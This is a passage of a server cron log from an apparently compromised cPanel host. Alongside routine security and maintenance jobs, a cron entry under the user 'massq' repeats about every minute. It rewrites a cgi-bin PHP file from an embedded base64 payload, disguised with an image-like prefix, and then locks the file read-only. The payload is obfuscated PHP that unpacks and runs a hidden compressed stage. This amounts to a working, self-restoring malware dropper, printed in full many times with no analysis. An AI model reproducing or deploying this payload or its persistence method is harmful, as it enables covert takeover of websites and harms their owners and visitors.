fi; chmod 444 "$fp")
Sep  2 12:56:01 server CROND[3668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:56:01 server CROND[3670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:56:01 server CROND[3671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:57:01 server CROND[4042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:57:01 server CROND[4043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:57:01 server CROND[4045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:57:01 server CROND[4044]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 12:58:01 server CROND[4424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:58:01 server CROND[4425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:58:01 server CROND[4426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:59:01 server CROND[4804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:59:01 server CROND[4805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:59:01 server CROND[4806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:00:01 server CROND[5301]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:00:01 server CROND[5304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:00:01 server CROND[5305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:00:01 server CROND[5306]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:00:01 server CROND[5309]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 13:00:01 server CROND[5310]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:00:01 server CROND[5311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:00:01 server CROND[5313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:00:01 server CROND[5314]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:01:01 server CROND[6140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:01:01 server CROND[6142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:01:01 server CROND[6143]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 13:01:01 server CROND[6141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:01:01 server run-parts(/etc/cron.hourly)[6143]: starting 0anacron
Sep  2 13:01:01 server run-parts(/etc/cron.hourly)[6162]: finished 0anacron
Sep  2 13:02:01 server CROND[6528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:02:01 server CROND[6529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:02:01 server CROND[6527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:03:01 server CROND[6916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:03:01 server CROND[6917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:03:01 server CROND[6924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:04:01 server CROND[7286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:04:01 server CROND[7287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:04:01 server CROND[7288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:05:01 server CROND[7758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:05:01 server CROND[7760]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:05:01 server CROND[7761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:05:01 server CROND[7764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:05:01 server CROND[7767]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:05:01 server CROND[7770]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 13:05:01 server CROND[7768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:05:01 server CROND[7769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:06:01 server CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:06:01 server CROND[8605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:06:01 server CROND[8607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:07:01 server CROND[8983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:07:01 server CROND[8984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:07:01 server CROND[8985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
